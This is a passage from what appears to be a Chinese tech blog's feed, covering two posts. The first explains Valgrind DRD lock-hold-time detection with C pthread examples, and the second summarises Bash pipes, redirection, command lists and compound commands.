&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-cond=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪程序中所有条件变量的变化&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-fork-join=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪程序中所有线程的创建和终止事件&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-mutex=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪程序中所有互斥量的活动&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-rwlock=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪程序中所有读写锁的活动&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-semaphore=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪程序中所有信号量的活动&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;DRD可以查看互斥量的占用时间，示例代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#define _GNU_SOURCE 1#include &amp;lt;assert.h&amp;gt;#include &amp;lt;pthread.h&amp;gt;#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;time.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;static void delay_ms(const int ms) {  struct timespec ts;  assert(ms &amp;gt;= 0);  ts.tv_sec = ms &amp;#x2F; 1000;  ts.tv_nsec = (ms % 1000) * 1000 * 1000;  nanosleep(&amp;amp;ts, 0);}void lock_mutex(const int ms) {  pthread_mutex_t     mutex;  fprintf(stderr, &amp;quot;Locking mutex ...\n&amp;quot;);  pthread_mutex_init(&amp;amp;mutex, NULL);  pthread_mutex_lock(&amp;amp;mutex);  delay_ms(ms);  pthread_mutex_unlock(&amp;amp;mutex);  pthread_mutex_destroy(&amp;amp;mutex);}int main(int argc, char** argv) {  int interval = 0;  int optchar;  while ((optchar = getopt(argc, argv, &amp;quot;i:&amp;quot;)) != EOF)   &amp;#x2F;&amp;#x2F; 处理命令行参数，指定延时时间  {    switch (optchar)     {    case &amp;#x27;i&amp;#x27;:      interval = atoi(optarg);      break;    default:      fprintf(stderr, &amp;quot;Usage: %s [-i &amp;lt;interval time in ms&amp;gt;].\n&amp;quot;, argv[0]);      break;    }  }  lock_mutex(interval);  fprintf(stderr, &amp;quot;Done.\n&amp;quot;);  return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;gcc -g -lpthread .&amp;#x2F;main.cpp -o main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过参数&lt;code&gt;--exclusive-threshold=&amp;lt;n&amp;gt;&lt;&#x2F;code&gt;检查独占锁占用的时间，通过如下命令检测独占锁占用时间是否超过10ms:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;valgrind --tool=drd --exclusive-threshold=15 .&#x2F;main -i 20&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出：可以看到在上图中，（互斥量）独占锁被占用了22ms，大于在DRD中设置的阈值15ms，因此会给出提示；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-drd-lock-threshold.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;调整参数：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;valgrind --tool=drd --exclusive-threshold=15 .&#x2F;main -i 10&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出：可以看到在上图中，独占锁被占的时间没有超过15ms的，因此不会给出提示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-drd-no-warning.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;除了检测互斥量的占用时间，还可以检测读写锁的占用时间，示例代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#define _GNU_SOURCE 1#include &amp;lt;assert.h&amp;gt;#include &amp;lt;pthread.h&amp;gt;#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;time.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;static void delay_ms(const int ms) {  struct timespec ts;  assert(ms &amp;gt;= 0);  ts.tv_sec = ms &amp;#x2F; 1000;  ts.tv_nsec = (ms % 1000) * 1000 * 1000;  nanosleep(&amp;amp;ts, 0);}void write_lock(const int ms){   pthread_rwlock_t rwlock;      &amp;#x2F;&amp;#x2F; 读写锁   fprintf(stderr, &amp;quot;Locking rwlock exclusively ...\n&amp;quot;);   pthread_rwlock_init(&amp;amp;rwlock, NULL);   pthread_rwlock_wrlock(&amp;amp;rwlock);   delay_ms(ms);   pthread_rwlock_unlock(&amp;amp;rwlock);   pthread_rwlock_destroy(&amp;amp;rwlock);}int main(int argc, char** argv) {  int interval = 0;  int optchar;  while ((optchar = getopt(argc, argv, &amp;quot;i:&amp;quot;)) != EOF)   &amp;#x2F;&amp;#x2F; 处理命令行参数，指定延时时间  {    switch (optchar)     {    case &amp;#x27;i&amp;#x27;:      interval = atoi(optarg);      break;    default:      fprintf(stderr, &amp;quot;Usage: %s [-i &amp;lt;interval time in ms&amp;gt;].\n&amp;quot;, argv[0]);      break;    }  }  write_lock(interval);  fprintf(stderr, &amp;quot;Done.\n&amp;quot;);  return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用DRD进行检测：&lt;code&gt;valgrind --tool=drd --exclusive-threshold=10 .&#x2F;main -i 20&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-drd-lock-check.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;检测读锁的占用时间，示例代码如下所示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#define _GNU_SOURCE 1#include &amp;lt;assert.h&amp;gt;#include &amp;lt;pthread.h&amp;gt;#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;time.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;static void delay_ms(const int ms) {  struct timespec ts;  assert(ms &amp;gt;= 0);  ts.tv_sec = ms &amp;#x2F; 1000;  ts.tv_nsec = (ms % 1000) * 1000 * 1000;  nanosleep(&amp;amp;ts, 0);}void read_lock(const int ms){    pthread_rwlock_t readLock;    fprintf(stderr, &amp;quot;Locking rwlock exclusively ...\n&amp;quot;);    pthread_rwlock_init(&amp;amp;readLock, NULL);    pthread_rwlock_rdlock(&amp;amp;readLock);    pthread_rwlock_rdlock(&amp;amp;readLock);    delay_ms(20);    pthread_rwlock_unlock(&amp;amp;readLock);    &amp;#x2F;&amp;#x2F; 读锁不是独占锁    pthread_rwlock_unlock(&amp;amp;readLock);         pthread_rwlock_destroy(&amp;amp;readLock);}int main(int argc, char** argv) {  int interval = 0;  int optchar;  while ((optchar = getopt(argc, argv, &amp;quot;i:&amp;quot;)) != EOF)   &amp;#x2F;&amp;#x2F; 处理命令行参数，指定延时时间  {    switch (optchar)     {    case &amp;#x27;i&amp;#x27;:      interval = atoi(optarg);      break;    default:      fprintf(stderr, &amp;quot;Usage: %s [-i &amp;lt;interval time in ms&amp;gt;].\n&amp;quot;, argv[0]);      break;    }  }  read_lock(interval);  fprintf(stderr, &amp;quot;Done.\n&amp;quot;);  return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;读锁不是独占锁，所以需要使用参数&lt;code&gt;--shared-threshold=&amp;lt;n&amp;gt;&lt;&#x2F;code&gt;来进行分析：&lt;&#x2F;p&gt;
&lt;p&gt;增加参数-s,可在结果中展示具体的错误信息：&lt;code&gt;valgrind --tool=drd --shared-threshold=20 -s .&#x2F;main -i 20&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-drd-rwlock-output.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对于非独占锁，如果lock的次数与unlock的次数不一致，也会进行提示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;void read_lock(const int ms){    pthread_rwlock_t readLock;    fprintf(stderr, &amp;quot;Locking rwlock exclusively ...\n&amp;quot;);    pthread_rwlock_init(&amp;amp;readLock, NULL);    pthread_rwlock_rdlock(&amp;amp;readLock);    pthread_rwlock_rdlock(&amp;amp;readLock);    delay_ms(ms);    pthread_rwlock_unlock(&amp;amp;readLock);      &amp;#x2F;&amp;#x2F; 仅释放一次    &amp;#x2F;&amp;#x2F;pthread_rwlock_unlock(&amp;amp;readLock);        pthread_rwlock_destroy(&amp;amp;readLock);}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;DRD检测命令：&lt;code&gt;valgrind --tool=drd --shared-threshold=20 -s .&#x2F;main -i 10&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;检测输出结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-drd-detect-output.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如上图所示，输出结果提示，第52行的destory出错，是因为destory上面缺少一个unlock操作；&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GUNBash 系列（四）Shell 管道、重定向、序列、复合命令总结</title>
        <published>2024-12-06T00:00:00+00:00</published>
        <updated>2024-12-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gunbash-系列-四-shell-管道、重定向、序列、复合命令总结/"/>
        <id>https://vercel.juzhong.asia/obsidian/gunbash-系列-四-shell-管道、重定向、序列、复合命令总结/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gunbash-系列-四-shell-管道、重定向、序列、复合命令总结/">&lt;h1 id=&quot;gunbash-xi-lie-si-shell-guan-dao-zhong-ding-xiang-xu-lie-fu-he-ming-ling-zong-jie&quot;&gt;GUNBash 系列（四）Shell 管道、重定向、序列、复合命令总结&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jian-dan-ming-ling-simple-commands&quot;&gt;简单命令（Simple Commands）&lt;&#x2F;h2&gt;
&lt;p&gt;即单个命令。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-dao-pipelines&quot;&gt;管道（Pipelines）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;bash-pipes.png&quot; alt=&quot;bash pipes&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;bash-pipeline-diagram.png&quot; alt=&quot;pipes&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;pipeline（管道）是一个或多个命令的序列，用字符 | 分隔。管道的命令格式如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;command [ | command2 ... ]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;管道的特点如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;管道是一个由“标准输入输出”链接起来的进程集合；&lt;&#x2F;li&gt;
&lt;li&gt;管道中的每个命令都作为单独的进程来执行（即在一个子 shell 中启动）；&lt;&#x2F;li&gt;
&lt;li&gt;每一个进程的输出（stdout）被直接作为下一个进程的输入（stdin）；&lt;&#x2F;li&gt;
&lt;li&gt;管道命令不处理 standard error output（stderr）；&lt;&#x2F;li&gt;
&lt;li&gt;管道的符号为：&lt;code&gt;|&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;管道的处理流程如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;shell-pipe-data-flow.png&quot; alt=&quot;pipe&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhong-ding-xiang-redirection&quot;&gt;重定向（Redirection）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;miao-shu-fu-descriptor-number&quot;&gt;描述符（Descriptor Number）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;描述符&lt;&#x2F;th&gt;&lt;th&gt;名称&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Standard_streams#Standard_input_(stdin)&quot;&gt;&lt;code&gt;stdin&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;标准输入（Standard input）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Standard_streams#Standard_output_(stdout)&quot;&gt;&lt;code&gt;stdout&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;标准输出（Standard output）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Standard_streams#Standard_error_(stderr)&quot;&gt;&lt;code&gt;stderr&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;标准错误输出（Standard error）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;file-descriptors-stdin-stdout-stderr.png&quot; alt=&quot;file descriptors&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cao-zuo-fu-operator&quot;&gt;操作符（Operator）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作符&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重定向输入（Redirecting Input）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重定向输出（Redirecting Output），与&lt;code&gt;1&amp;gt;&lt;&#x2F;code&gt;等价&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;追加到重定向输出（Appending Redirected Output）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;2&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重定向错误输出（Redirecting Error）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;2&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;追加到重定向错误输出（Appending Redirected Error）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;amp;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重定向标准输出和标准错误输出（Redirecting Standard Output and Standard Error）。&lt;strong&gt;推荐使用&lt;&#x2F;strong&gt;，它与&lt;code&gt;&amp;gt;word 2&amp;gt;&amp;amp;1&lt;&#x2F;code&gt;在语义上等价&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;gt;&amp;amp;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同上，但不推荐使用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;2&amp;gt;&amp;amp;1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;将标准错误输出重定向到标准输出&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;bash-redirection-operators.png&quot; alt=&quot;redirects&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在命令执行前，它的输入和输出可能被 redirected (重定向)，该功能可以用于如下场景：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;屏幕输出的信息很重要，而且需要将它存下来时；&lt;&#x2F;li&gt;
&lt;li&gt;一些运行命令的可能已知错误信息，想以 &lt;code&gt;2&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;code&gt; 将它丢掉；&lt;&#x2F;li&gt;
&lt;li&gt;一些系统的例行命令（例如写在 &lt;code&gt;&#x2F;etc&#x2F;crontab&lt;&#x2F;code&gt;）的运行结果，需要存下来时；&lt;&#x2F;li&gt;
&lt;li&gt;错误信息与正确信息需要分别输出时。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;例子：&lt;&#x2F;p&gt;
&lt;p&gt;快速创建带内容的文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ echo &amp;quot;hello world&amp;quot; &amp;gt; &amp;#x2F;tmp&amp;#x2F;file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将 &lt;code&gt;stdout&lt;&#x2F;code&gt; 和 &lt;code&gt;stderr&lt;&#x2F;code&gt; 都重定向到本地日志文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;java -jar app.jar &amp;gt;&amp;#x2F;tmp&amp;#x2F;stdout.log 2&amp;gt;&amp;amp;1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将 &lt;code&gt;stdout&lt;&#x2F;code&gt; 和 &lt;code&gt;stderr&lt;&#x2F;code&gt; 都丢弃（等价操作）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;java -jar app.jar &amp;gt;&amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1
java -jar app.jar &amp;amp;&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xu-lie-lists-of-commands&quot;&gt;序列（Lists of Commands）&lt;&#x2F;h2&gt;
&lt;p&gt;list（序列）是一个或多个管道，用操作符 &lt;code&gt;;&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt;、&lt;code&gt;||&lt;&#x2F;code&gt; 分隔的序列, 并且可以选择用 &lt;code&gt;;&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;、`` 新行符结束。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作符&lt;&#x2F;th&gt;&lt;th&gt;例子&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;command1 &amp;amp;&amp;amp; command2&lt;&#x2F;td&gt;&lt;td&gt;一个 AND 序列。command2 只有在 command1 返回 0 时才被执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;||&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;command1 || command2&lt;&#x2F;td&gt;&lt;td&gt;一个 OR 序列。command2 只有在 command1 返回非 0 状态时才被执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;command1; command2&lt;&#x2F;td&gt;&lt;td&gt;结束一个序列。不考虑命令的退出状态，连续执行命令&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;``&lt;&#x2F;td&gt;&lt;td&gt;command&amp;lt;newline&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;结束一个序列&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;command1 &amp;amp;&lt;&#x2F;td&gt;&lt;td&gt;如果一个命令是由 &amp;amp; 结束的, shell 将在后台的子 shell 中执行这个命令&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;AND 和 OR 序列的返回状态是序列中最后执行的命令的返回状态。&lt;&#x2F;li&gt;
&lt;li&gt;这些序列操作符中， &lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt; 和 &lt;code&gt;||&lt;&#x2F;code&gt; 优先级相同， &lt;code&gt;;&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; 优先级相同。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;tui-chu-zhuang-tai-exit-status&quot;&gt;退出状态（Exit Status）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;从 shell 的角度看，一个命令退出状态是 0 意味着成功退出。 非零状态值表明失败。&lt;&#x2F;li&gt;
&lt;li&gt;如果没有找到命令，为执行它而创建的子进程返回 127。&lt;&#x2F;li&gt;
&lt;li&gt;如果找到了命令但是文件不可执行，返回状态是 126。&lt;&#x2F;li&gt;
&lt;li&gt;如果命令由于扩展或重定向错误而失败，退出状态大于零。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shi-yong-chang-jing&quot;&gt;使用场景&lt;&#x2F;h3&gt;
&lt;p&gt;在某些情况下，很多命令我想要一次输入去运行，有两种方法：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Shell Script&lt;&#x2F;li&gt;
&lt;li&gt;使用序列&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;例如，一串无人值守源代码形式安装的命令如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ .&amp;#x2F;configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fu-he-ming-ling-compound-commands&quot;&gt;复合命令（Compound Commands）&lt;&#x2F;h2&gt;
&lt;p&gt;compound command（复合命令）是如下情况之一：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1&quot;&gt;1&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(list)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;{ list; }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;((expression))&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;[[ expression ]]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;if-statements&quot;&gt;if statements&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;if list; then list; [ elif list; then list; ] ... [ else list; ] fi&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;bash-if-statements.png&quot; alt=&quot;bash if statements&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;select name [ in word ] ; do list ; done&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;case word in [ [(] pattern [ | pattern ] &lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;select in 通常和 case in 一起使用，在用户输入不同的编号时可以做出不同的反应，见：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;yrx420909&#x2F;article&#x2F;details&#x2F;104308041&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;yrx420909&#x2F;article&#x2F;details&#x2F;104308041&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;for-loops&quot;&gt;for loops&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;while list; do list; done&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;until list; do list; done&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for name [ in word ] ; do list ; done&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash

# 声明一个数组变量
order_array=(
  10000
  10001
  10002
)

# 循环打印与保存到文件
for id in ${order_array[@]}
do
  echo &amp;quot;order is $id&amp;quot; | tee -a result.txt
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for (( expr1 ; expr2 ; expr3 )) ; do list ; done&lt;&#x2F;code&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bash-pipes-redirection&#x2F;bash-for-loops.png&quot; alt=&quot;bash for loops&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
